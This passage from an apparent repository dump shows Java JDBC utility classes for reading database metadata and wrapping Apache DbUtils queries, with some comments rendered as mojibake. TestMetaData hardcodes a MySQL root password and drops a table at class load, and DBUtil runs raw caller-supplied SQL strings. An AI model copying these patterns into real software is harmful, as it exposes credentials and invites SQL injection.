    "content": "package com.jun.plugin.dbutils.metadata;\n\n  \nimport java.sql.Connection;  \nimport java.sql.DatabaseMetaData;  \nimport java.sql.ResultSet;  \nimport java.sql.SQLException;  \nimport java.util.ArrayList;  \nimport java.util.HashMap;  \nimport java.util.List;  \nimport java.util.Map;  \nimport java.util.Properties;\n\nimport com.jun.plugin.dbutils.test.JdbcByPropertiesUtil;  \n  \n  \npublic class TestDatabaseMetaData {  \n    private JdbcByPropertiesUtil jbpu = JdbcByPropertiesUtil.getInstance();  \n      \n    public JdbcByPropertiesUtil getJbpu() {  \n        return jbpu;  \n    }  \n      \n    public void setJbpu(JdbcByPropertiesUtil jbpu){  \n        this.jbpu = jbpu;  \n    }  \n      \n    public Properties getProperties(){  \n        Properties pros = JdbcByPropertiesUtil.readPropertiesFile();  \n        return pros;  \n    }  \n  \n    /** \n     * 读取配置文件jdbc.properties中的数据库名称 \n     * @return \n     * @throws Exception \n     */  \n    public String getDataSourceName()throws Exception{  \n        Properties pros = this.getProperties();  \n        String dbName = pros.get(\"dbName\").toString();  \n        return dbName;  \n    }  \n      \n    /** \n     * 获取数据库中的表名称与视图名称 \n     * @return \n     */  \n    public List getTablesAndViews()throws Exception{  \n        Connection conn = jbpu.getConnection();  \n        ResultSet rs = null;  \n        List list = new ArrayList();  \n        try {  \n            Properties pros = this.getProperties();  \n            String schema = pros.get(\"user\").toString();  \n            DatabaseMetaData metaData = conn.getMetaData();  \n            rs = metaData.getTables(null, schema, null, new String[]{\"TABLE\",\"VIEW\"});  \n            while(rs.next()){  \n                String tableName = rs.getString(\"TABLE_NAME\");  \n                list.add(tableName);  \n            }  \n        } catch (SQLException e) {  \n            e.printStackTrace();  \n        } finally{  \n            jbpu.close(rs, null, conn);  \n        }  \n        return list;  \n    }  \n      \n    /** \n     * 利用表名和数据库用户名查询出该表对应的字段类型 \n     * @param tableName 表名 \n     * @return \n     * @throws Exception \n     */  \n    public String generateBean()throws Exception{  \n        Connection conn = jbpu.getConnection();  \n        ResultSet rs = null;  \n        String strJavaBean = \"\";  \n        String tableName = this.getDataSourceName();  \n        try{  \n            Properties pros = this.getProperties();  \n            String schema = pros.get(\"user\").toString();  \n            DatabaseMetaData metaData = conn.getMetaData();  \n            rs = metaData.getColumns(null, schema, tableName, null);  \n            Map map = new HashMap();  \n            while(rs.next()){  \n                String columnName = rs.getString(\"COLUMN_NAME\");//列名  \n                String dataType  = rs.getString(\"DATA_TYPE\");//字段数据类型(对应java.sql.Types中的常量)  \n                String typeName = rs.getString(\"TYPE_NAME\");//字段类型名称(例如：VACHAR2)  \n                map.put(columnName, dataType+\":\"+typeName);  \n            }  \n              \n            // 其它生成javaBean的相关操作  \n              \n        }catch(Exception e){  \n            e.printStackTrace();  \n        }finally{  \n            jbpu.close(rs, null, conn);  \n        }  \n        return strJavaBean;  \n    }  \n      \n}  "
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/metadata/TestMetaData.java",
    "content": "package com.jun.plugin.dbutils.metadata;\n\nimport java.sql.Connection;  \nimport java.sql.DatabaseMetaData;  \nimport java.sql.DriverManager;  \nimport java.sql.PreparedStatement;  \nimport java.sql.ResultSet;  \nimport java.sql.ResultSetMetaData;  \n  \n  \npublic class TestMetaData {  \n  \n    static Connection con = null;  \n  \n    static {  \n  \n        try {  \n            Class.forName(\"com.mysql.jdbc.Driver\");  \n  \n            con = DriverManager  \n                    .getConnection(  \n                            \"jdbc:mysql://localhost:3306/erp2?useUnicode=true&characterEncoding=utf-8\",  \n                            \"root\", \"mysqladmin\");  \n  \n            PreparedStatement pst = con  \n                    .prepareStatement(\"drop table if exists user;\");  \n  \n            pst.execute();  \n  \n            pst = con  \n                    .prepareStatement(\"create table user(id int auto_increment primary key comment '主键啊',name varchar(20) not\"  \n                            + \" null comment '名称啊',age int default 18 comment '年龄啊',salary float(8,2) comment '薪水啊',rq date,sj time,rj timestamp);\");  \n  \n            pst.execute();  \n  \n            String sql = \"insert into user (name,age,salary,rq,sj,rj) values (?,?,?,?,?,?)\";  \n  \n            pst = con.prepareStatement(sql);  \n  \n            for (int i = 1; i <= 10; i++) {  \n  \n                pst.setString(1, \"zs\" + i);  \n  \n                pst.setInt(2, 17 + i);  \n  \n                pst.setFloat(3, 2600 + i * 100.0f);  \n  \n                long time = System.currentTimeMillis();  \n  \n                pst.setDate(4, new java.sql.Date(time));  \n  \n                pst.setTime(5, new java.sql.Time(time));  \n  \n                pst.setTimestamp(6, new java.sql.Timestamp(time));  \n  \n                pst.addBatch();  \n  \n            }  \n  \n            pst.executeBatch();  \n  \n            pst.close();  \n  \n        } catch (Exception ex) {  \n            throw new ExceptionInInitializerError(ex);  \n        }  \n    }  \n      \n    /** \n     * DatabaseMetaData一些用法 \n     * @throws Exception \n     */  \n    public static void getDBInfo() throws Exception {  \n          \n        DatabaseMetaData dbmd = con.getMetaData();  \n          \n        System.out.println(dbmd.getDatabaseProductName());//获取数据库产品名称  \n          \n        System.out.println(dbmd.getDatabaseProductVersion());//获取数据库产品版本号  \n  \n        System.out.println(dbmd.getCatalogSeparator());//获取数据库用作类别和表名之间的分隔符   如test.user  \n          \n        System.out.println(dbmd.getDriverVersion());//获取驱动版本  \n          \n        System.out.println(\"*******************可用的数据库列表*********************\");  \n        ResultSet rs = dbmd.getCatalogs();//取可在此数据库中使用的类别名,在mysql中说白了就是可用的数据库名称，只有一列  \n  \n        while(rs.next()){  \n              \n            System.out.println(rs.getString(1));  \n        }  \n          \n        System.out.println(\"********************所有表********************************\");  \n        /** \n         * catalog 类别名称 \n         * schemaPattern 用户方案模式， \n         * tableNamePattern 表 \n         * types 类型 \n         * 获取所有表 \n         * dbmd.getTables(catalog, schemaPattern, tableNamePattern, types) \n         */  \n          \n        rs = dbmd.getTables(null, null, null, new String[]{\"TABLE\"});//参数列表 1:类别名称,2: 模式名称的模式,3:表名称模式,4:要包括的表类型所组成的列表  \n          \n        while(rs.next()){  \n              \n            /** 所有的列信息。如下 \n             *  TABLE_CAT String => 表类别（可为 null）  \n                TABLE_SCHEM String => 表模式（可为 null）  \n                TABLE_NAME String => 表名称  \n                COLUMN_NAME String => 列名称  \n                DATA_TYPE int => 来自 java.sql.Types 的 SQL 类型  \n                TYPE_NAME String => 数据源依赖的类型名称，对于 UDT，该类型名称是完全限定的  \n                COLUMN_SIZE int => 列的大小。  \n                BUFFER_LENGTH 未被使用。  \n                DECIMAL_DIGITS int => 小数部分的位数。对于 DECIMAL_DIGITS 不适用的数据类型，则返回 Null。  \n                NUM_PREC_RADIX int => 基数（通常为 10 或 2）  \n                NULLABLE int => 是否允许使用 NULL。  \n                columnNoNulls - 可能不允许使用 NULL 值  \n                columnNullable - 明确允许使用 NULL 值  \n                columnNullableUnknown - 不知道是否可使用 null  \n                REMARKS String => 描述列的注释（可为 null）  \n                COLUMN_DEF String => 该列的默认值，当值在单引号内时应被解释为一个字符串（可为 null）  \n                SQL_DATA_TYPE int => 未使用  \n                SQL_DATETIME_SUB int => 未使用  \n                CHAR_OCTET_LENGTH int => 对于 char 类型，该长度是列中的最大字节数  \n                ORDINAL_POSITION int => 表中的列的索引（从 1 开始）  \n                IS_NULLABLE String => ISO 规则用于确定列是否包括 null。  \n                YES --- 如果参数可以包括 NULL  \n                NO --- 如果参数不可以包括 NULL  \n                空字符串 --- 如果不知道参数是否可以包括 null  \n                SCOPE_CATLOG String => 表的类别，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为 null）  \n                SCOPE_SCHEMA String => 表的模式，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为 null）  \n                SCOPE_TABLE String => 表名称，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为 null）  \n                SOURCE_DATA_TYPE short => 不同类型或用户生成 Ref 类型、来自 java.sql.Types 的 SQL 类型的源类型（如果 DATA_TYPE 不是 DISTINCT 或用户生成的 REF，则为 null）  \n                IS_AUTOINCREMENT String => 指示此列是否自动增加  \n                YES --- 如果该列自动增加  \n                NO --- 如果该列不自动增加  \n                空字符串 --- 如果不能确定该列是否是自动增加参数  \n \n             */  \n            System.out.println(rs.getString(3) + \"->\" + rs.getString(4));//打印表类别,表模式,表名称，列名称，  \n              \n  \n        }  \n          \n          \n        System.out.println(\"##############################################################\");  \n          \n        /** \n         * catalog 类别名称 \n         * schema 用户方案名称 \n         * table 表名 \n         * 获取指定表的主键信息 \n         * dbmd.getPrimaryKeys(catalog, schema, table) \n         *  \n         */  \n        rs = dbmd.getPrimaryKeys(\"test\", null, \"user\");  \n          \n        while(rs.next()){  \n              \n            /**  \n             *  所有列信息如下: \n             *  TABLE_CAT String => 表类别（可为 null）  \n                TABLE_SCHEM String => 表模式（可为 null）  \n                TABLE_NAME String => 表名称  \n                COLUMN_NAME String => 列名称  \n                KEY_SEQ short => 主键中的序列号（值 1 表示主键中的第一列，值 2 表示主键中的第二列）。  \n                PK_NAME String => 主键的名称（可为 null）  \n \n             */  \n              \n            System.out.println(rs.getString(1) + \",\" + rs.getString(2) + \",\" + rs.getString(3) + \",\"  \n                    + rs.getString(4) + \",\" + rs.getShort(5) + \",\" + rs.getString(6));  \n              \n        }  \n          \n          \n        System.out.println(\"##############################################################\");  \n          \n        /** \n         * catalog 类别名称 \n         * schemaPattern 用户方案，模式 \n         * tableNamePattern 表 \n         * columnNamePattern 列 \n         * 获取表的列信息 \n         * dbmd.getColumns(catalog, schemaPattern, tableNamePattern, columnNamePattern) \n         */  \n        rs = dbmd.getColumns(\"test\", null, \"user\", null);  \n          \n        while(rs.next()){  \n              \n            /** \n             * 所有列如下： \n             * TABLE_CAT String => 表类别（可为 null）  \n                TABLE_SCHEM String => 表模式（可为 null）  \n                TABLE_NAME String => 表名称  \n                COLUMN_NAME String => 列名称  \n                DATA_TYPE int => 来自 java.sql.Types 的 SQL 类型  \n                TYPE_NAME String => 数据源依赖的类型名称，对于 UDT，该类型名称是完全限定的  \n                COLUMN_SIZE int => 列的大小。  \n                BUFFER_LENGTH 未被使用。  \n                DECIMAL_DIGITS int => 小数部分的位数。对于 DECIMAL_DIGITS 不适用的数据类型，则返回 Null。  \n                NUM_PREC_RADIX int => 基数（通常为 10 或 2）  \n                NULLABLE int => 是否允许使用 NULL。  \n                columnNoNulls - 可能不允许使用 NULL 值  \n                columnNullable - 明确允许使用 NULL 值  \n                columnNullableUnknown - 不知道是否可使用 null  \n                REMARKS String => 描述列的注释（可为 null）  \n                COLUMN_DEF String => 该列的默认值，当值在单引号内时应被解释为一个字符串（可为 null）  \n                SQL_DATA_TYPE int => 未使用  \n                SQL_DATETIME_SUB int => 未使用  \n                CHAR_OCTET_LENGTH int => 对于 char 类型，该长度是列中的最大字节数  \n                ORDINAL_POSITION int => 表中的列的索引（从 1 开始）  \n                IS_NULLABLE String => ISO 规则用于确定列是否包括 null。  \n                    YES --- 如果参数可以包括 NULL  \n                    NO --- 如果参数不可以包括 NULL  \n                空字符串 --- 如果不知道参数是否可以包括 null  \n                SCOPE_CATLOG String => 表的类别，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为 null）  \n                SCOPE_SCHEMA String => 表的模式，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为 null）  \n                SCOPE_TABLE String => 表名称，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为 null）  \n                SOURCE_DATA_TYPE short => 不同类型或用户生成 Ref 类型、来自 java.sql.Types 的 SQL 类型的源类型（如果 DATA_TYPE 不是 DISTINCT 或用户生成的 REF，则为 null）  \n                IS_AUTOINCREMENT String => 指示此列是否自动增加  \n                                YES --- 如果该列自动增加  \n                                NO --- 如果该列不自动增加  \n                                空字符串 --- 如果不能确定该列是否是自动增加参数  \n \n             */  \n              \n               \n            System.out.println(rs.getString(\"COLUMN_NAME\") + \" 类型=\" + rs.getInt(\"DATA_TYPE\") + \" 列大小=\" + rs.getInt(\"COLUMN_SIZE\") +   \n                    \" 注释=\" + rs.getString(\"REMARKS\") +  \n                    \" 是否允许为NULL=\" + rs.getInt(\"NULLABLE\"));  \n              \n              \n              \n            //还有很多很多方法，在这里就不一一列举了  \n              \n        }  \n          \n          \n    }  \n      \n    /** \n     * ResultSetMetaData一些用法 \n     * @throws Exception \n     */  \n    public static void getRsInfo() throws Exception {  \n          \n        PreparedStatement pst = con.prepareStatement(\"select * from user\");  \n          \n        ResultSet rs = pst.executeQuery();  \n          \n        ResultSetMetaData rsmd = rs.getMetaData();//结果集元  \n          \n        System.out.println(\"下面这些方法是ResultSetMetaData中方法\");  \n  \n        System.out.println(\"获得1列所在的Catalog名字 : \" + rsmd.getCatalogName(1));  \n  \n        System.out.println(\"获得1列对应数据类型的类 \" + rsmd.getColumnClassName(1));  \n  \n        System.out.println(\"获得该ResultSet所有列的数目 \" + rsmd.getColumnCount());  \n  \n        System.out.println(\"1列在数据库中类型的最大字符个数\" + rsmd.getColumnDisplaySize(1));  \n  \n        System.out.println(\" 1列的默认的列的标题\" + rsmd.getColumnLabel(1));  \n  \n        //System.out.println(\"1列的模式\" + rsmd.GetSchemaName(1));  \n  \n        System.out.println(\"1列的类型,返回SqlType中的编号 \" + rsmd.getColumnType(1));  \n  \n        System.out.println(\"1列在数据库中的类型，返回类型全名\" + rsmd.getColumnTypeName(1));  \n  \n        System.out.println(\"1列类型的精确度(类型的长度): \" + rsmd.getPrecision(1));  \n  \n        System.out.println(\"1列小数点后的位数 \" + rsmd.getScale(1));  \n  \n        System.out.println(\"1列对应的模式的名称（应该用于Oracle） \" + rsmd.getSchemaName(1));  \n  \n        System.out.println(\"1列对应的表名 \" + rsmd.getTableName(1));  \n  \n        System.out.println(\"1列是否自动递增\" + rsmd.isAutoIncrement(1));  \n  \n        System.out.println(\"1列在数据库中是否为货币型\" + rsmd.isCurrency(1));  \n  \n        System.out.println(\"1列是否为空\" + rsmd.isNullable(1));  \n  \n        System.out.println(\"1列是否为只读\" + rsmd.isReadOnly(1));  \n  \n        System.out.println(\"1列能否出现在where中\" + rsmd.isSearchable(1));  \n  \n  \n        rs.close();  \n          \n        pst.close();  \n          \n    }  \n  \n    public static void main(String[] args) throws Exception {  \n          \n        getRsInfo();  \n          \n//        getDBInfo();  \n          \n    }  \n  \n} "
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/test/DBUtil.java",
    "content": "package com.jun.plugin.dbutils.test;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.ResultSetHandler;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\n//import org.apache.commons.lang.ArrayUtils;\n//import org.junit.Test;\nimport org.apache.log4j.Logger;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\n\npublic class DBUtil {\n\n\tprivate static final Logger log = Logger.getLogger(DBUtil.class);\n\n\tpublic static QueryRunner run = null;\n\tprivate static Connection conn = null;\n\tstatic {\n\t\trun = new QueryRunner(DataSourceUtil.getDataSource());\n\t\tconn = DataSourceUtil.getConn();\n\t}\n\n\tpublic DBUtil() {\n\n\t}\n\n\tpublic static QueryRunner getRunner() {\n\t\treturn new QueryRunner();\n\t}\n\n\tpublic List<Map<String, Object>> queryForJdbc(String sql) {\n\t\t// 灏佽鏁版嵁鐢�\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();// 澹版槑杩斿洖鐨勫璞�\n\t\ttry {\n\t\t\t// 鎵ц鏌ヨ\n\t\t\tStatement st = conn.createStatement();\n\t\t\tResultSet rs = st.executeQuery(sql);\n\t\t\t// 鍒嗘瀽缁撴灉闆�\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\t// 鑾峰彇鍒楁暟\n\t\t\tint cols = rsmd.getColumnCount();\n\t\t\t// 閬嶅巻鏁版嵁\n\t\t\twhile (rs.next()) {\n\t\t\t\t// 涓�琛屾暟鎹�\n\t\t\t\tMap<String, Object> mm = new HashMap<String, Object>();\n\t\t\t\t// 閬嶅巻鍒�\n\t\t\t\tfor (int i = 0; i < cols; i++) {\n\t\t\t\t\t// 鑾峰彇鍒楀悕\n\t\t\t\t\tString colName = rsmd.getColumnName(i + 1);\n\t\t\t\t\t// 鑾峰彇鏁版嵁\n\t\t\t\t\tObject val = rs.getObject(i + 1);\n\t\t\t\t\t// 灏佽鍒癿ap\n\t\t\t\t\tmm.put(colName, val);\n\t\t\t\t}\n\t\t\t\t// 灏嗚繖涓猰ap鏀惧埌list\n\t\t\t\tlist.add(mm);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * \n\t * @param sql\n\t *            鎻掑叆sql璇彞\n\t * @param params\n\t *            鎻掑叆鍙傛暟\n\t * @return 杩斿洖褰卞搷琛屾暟\n\t */\n\tpublic int insert(String sql, Object[] params) {\n\t\tint affectedRows = 0;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\taffectedRows = run.update(sql);\n\t\t\t} else {\n\t\t\t\taffectedRows = run.update(sql, params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"insert.鎻掑叆璁板綍閿欒锛�\" + sql, e);\n\t\t}\n\t\treturn affectedRows;\n\t}\n\n\t/**\n\t * 鎵цsql璇彞\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @return 鍙楀奖鍝嶇殑琛屾暟\n\t */\n\tpublic int update(String sql) {\n\t\treturn update(sql, null);\n\t}\n\n\t/**\n\t * 鍗曟潯淇敼璁板綍\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param param\n\t *            鍙傛暟\n\t * @return 鍙楀奖鍝嶇殑琛屾暟\n\t */\n\tpublic int update(String sql, Object param) {\n\t\treturn update(sql, new Object[] { param });\n\t}\n\n\t/**\n\t * 鍗曟潯淇敼璁板綍\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 鍙楀奖鍝嶇殑琛屾暟\n\t */\n\tpublic int update(String sql, Object[] params) {\n\t\tint affectedRows = 0;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\taffectedRows = run.update(sql);\n\t\t\t} else {\n\t\t\t\taffectedRows = run.update(sql, params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"update.鍗曟潯淇敼璁板綍閿欒锛�\" + sql, e);\n\t\t}\n\t\treturn affectedRows;\n\t}\n\n\t/**\n\t * 鎵归噺淇敼璁板綍\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            浜岀淮鍙傛暟鏁扮粍\n\t * @return 鍙楀奖鍝嶇殑琛屾暟鐨勬暟缁�\n\t */\n\tpublic int[] batchUpdate(String sql, Object[][] params) {\n\t\tint[] affectedRows = new int[0];\n\t\ttry {\n\t\t\taffectedRows = run.batch(sql, params);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"update.鎵归噺淇敼璁板綍閿欒锛�\" + sql, e);\n\t\t}\n\t\treturn affectedRows;\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌涓�涓狹ap瀵硅薄涓紝鐒跺悗灏嗘墍鏈塎ap瀵硅薄淇濆瓨鍒癓ist涓�\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @return 鏌ヨ缁撴灉\n\t */\n\tpublic List<Map<String, Object>> find(String sql) {\n\t\treturn find(sql, null);\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌涓�涓狹ap瀵硅薄涓紝鐒跺悗灏嗘墍鏈塎ap瀵硅薄淇濆瓨鍒癓ist涓�\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param param\n\t *            鍙傛暟\n\t * @return 鏌ヨ缁撴灉\n\t */\n\tpublic List<Map<String, Object>> find(String sql, Object param) {\n\t\treturn find(sql, new Object[] { param });\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌涓�涓狹ap瀵硅薄涓紝鐒跺悗灏嗘墍鏈塎ap瀵硅薄淇濆瓨鍒癓ist涓�\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 鏌ヨ缁撴灉\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Map<String, Object>> findPage(String sql, int page, int count, Object... params) {\n\t\tsql = sql + \" LIMIT ?,?\";\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tlist = (List<Map<String, Object>>) run.query(sql, new MapListHandler(), new Integer[] { page, count });\n\t\t\t} else {\n\t\t\t\t// list = (List<Map<String, Object>>) run.query(sql, new MapListHandler(),\n\t\t\t\t// ArrayUtils.addAll(params, new Integer[] { page, count }));\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"map 鏁版嵁鍒嗛〉鏌ヨ閿欒\", e);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌涓�涓狹ap瀵硅薄涓紝鐒跺悗灏嗘墍鏈塎ap瀵硅薄淇濆瓨鍒癓ist涓�\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 鏌ヨ缁撴灉\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Map<String, Object>> find(String sql, Object[] params) {\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tlist = (List<Map<String, Object>>) run.query(sql, new MapListHandler());\n\t\t\t} else {\n\t\t\t\tlist = (List<Map<String, Object>>) run.query(sql, new MapListHandler(), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"map 鏁版嵁鏌ヨ閿欒\", e);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌Bean涓紝鐒跺悗灏嗘墍鏈塀ean淇濆瓨鍒癓ist涓�\n\t * \n\t * @param entityClass\n\t *            绫诲悕\n\t * @param sql\n\t *            sql璇彞\n\t * @return 鏌ヨ缁撴灉\n\t */\n\tpublic <T> List<T> find(Class<T> entityClass, String sql) {\n\t\treturn find(entityClass, sql, null);\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌Bean涓紝鐒跺悗灏嗘墍鏈塀ean淇濆瓨鍒癓ist涓�\n\t * \n\t * @param entityClass\n\t *            绫诲悕\n\t * @param sql\n\t *            sql璇彞\n\t * @param param\n\t *            鍙傛暟\n\t * @return 鏌ヨ缁撴灉\n\t */\n\tpublic <T> List<T> find(Class<T> entityClass, String sql, Object param) {\n\t\treturn find(entityClass, sql, new Object[] { param });\n\t}\n\n\t/**\n\t * 鎵ц鏌ヨ锛屽皢姣忚鐨勭粨鏋滀繚瀛樺埌Bean涓紝鐒跺悗灏嗘墍鏈塀ean淇濆瓨鍒癓ist涓�\n\t * \n\t * @param entityClass\n\t *            绫诲悕\n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 鏌ヨ缁撴灉\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> List<T> find(Class<T> entityClass, String sql, Object[] params) {\n\t\tList<T> list = new ArrayList<T>();\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tlist = (List<T>) run.query(sql, new BeanListHandler(entityClass));\n\t\t\t} else {\n\t\t\t\tlist = (List<T>) run.query(sql, new BeanListHandler(entityClass), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"Error occured while attempting to query data\", e);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 鏌ヨ鍑虹粨鏋滈泦涓殑绗竴鏉¤褰曪紝骞跺皝瑁呮垚瀵硅薄\n\t * \n\t * @param entityClass\n\t *            绫诲悕\n\t * @param sql\n\t *            sql璇彞\n\t * @return 瀵硅薄\n\t */\n\tpublic <T> T findFirst(Class<T> entityClass, String sql) {\n\t\treturn findFirst(entityClass, sql, null);\n\t}\n\n\t/**\n\t * 鏌ヨ鍑虹粨鏋滈泦涓殑绗竴鏉¤褰曪紝骞跺皝瑁呮垚瀵硅薄\n\t * \n\t * @param entityClass\n\t *            绫诲悕\n\t * @param sql\n\t *            sql璇彞\n\t * @param param\n\t *            鍙傛暟\n\t * @return 瀵硅薄\n\t */\n\tpublic <T> T findFirst(Class<T> entityClass, String sql, Object param) {\n\t\treturn findFirst(entityClass, sql, new Object[] { param });\n\t}\n\n\t/**\n\t * 鏌ヨ鍑虹粨鏋滈泦涓殑绗竴鏉¤褰曪紝骞跺皝瑁呮垚瀵硅薄\n\t * \n\t * @param entityClass\n\t *            绫诲悕\n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 瀵硅薄\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> T findFirst(Class<T> entityClass, String sql, Object[] params) {\n\t\tObject object = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tobject = run.query(sql, new BeanHandler(entityClass));\n\t\t\t} else {\n\t\t\t\tobject = run.query(sql, new BeanHandler(entityClass), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tlog.error(\"杩斿洖涓�鏉¤褰曢敊璇細findFirst\" + e.getMessage());\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn (T) object;\n\t}\n\n\t/**\n\t * 鏌ヨ鍑虹粨鏋滈泦涓殑绗竴鏉¤褰曪紝骞跺皝瑁呮垚Map瀵硅薄\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @return 灏佽涓篗ap鐨勫璞�\n\t */\n\tpublic Map<String, Object> findFirst(String sql) {\n\t\treturn findFirst(sql, null);\n\t}\n\n\t/**\n\t * 鏌ヨ鍑虹粨鏋滈泦涓殑绗竴鏉¤褰曪紝骞跺皝瑁呮垚Map瀵硅薄\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param param\n\t *            鍙傛暟\n\t * @return 灏佽涓篗ap鐨勫璞�\n\t */\n\tpublic Map<String, Object> findFirst(String sql, Object param) {\n\t\treturn findFirst(sql, new Object[] { param });\n\t}\n\n\t/**\n\t * 鏌ヨ鍑虹粨鏋滈泦涓殑绗竴鏉¤褰曪紝骞跺皝瑁呮垚Map瀵硅薄\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 灏佽涓篗ap鐨勫璞�\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> findFirst(String sql, Object[] params) {\n\t\tMap<String, Object> map = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tmap = (Map<String, Object>) run.query(sql, new MapHandler());\n\t\t\t} else {\n\t\t\t\tmap = (Map<String, Object>) run.query(sql, new MapHandler(), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"findFirst.鏌ヨ涓�鏉¤褰曢敊璇�\" + sql, e);\n\t\t}\n\t\treturn map;\n\t}\n\n\t/**\n\t * 鏌ヨ鏌愪竴鏉¤褰曪紝骞跺皢鎸囧畾鍒楃殑鏁版嵁杞崲涓篛bject\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param columnName\n\t *            鍒楀悕\n\t * @return 缁撴灉瀵硅薄\n\t */\n\tpublic Object findBy(String sql, String params) {\n\t\treturn findBy(sql, params, null);\n\t}\n\n\t/**\n\t * 鏌ヨ鏌愪竴鏉¤褰曪紝骞跺皢鎸囧畾鍒楃殑鏁版嵁杞崲涓篛bject\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param columnName\n\t *            鍒楀悕\n\t * @param param\n\t *            鍙傛暟\n\t * @return 缁撴灉瀵硅薄\n\t */\n\tpublic Object findBy(String sql, String columnName, Object param) {\n\t\treturn findBy(sql, columnName, new Object[] { param });\n\t}\n\n\t/**\n\t * 鏌ヨ鏌愪竴鏉¤褰曪紝骞跺皢鎸囧畾鍒楃殑鏁版嵁杞崲涓篛bject\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param columnName\n\t *            鍒楀悕\n\t * @param params\n\t *            鍙傛暟鏁扮粍\n\t * @return 缁撴灉瀵硅薄\n\t */\n\tpublic Object findBy(String sql, String columnName, Object[] params) {\n\t\tObject object = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnName));\n\t\t\t} else {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnName), params);\n\t\t\t}\n\t\t} catch (SQLException e) 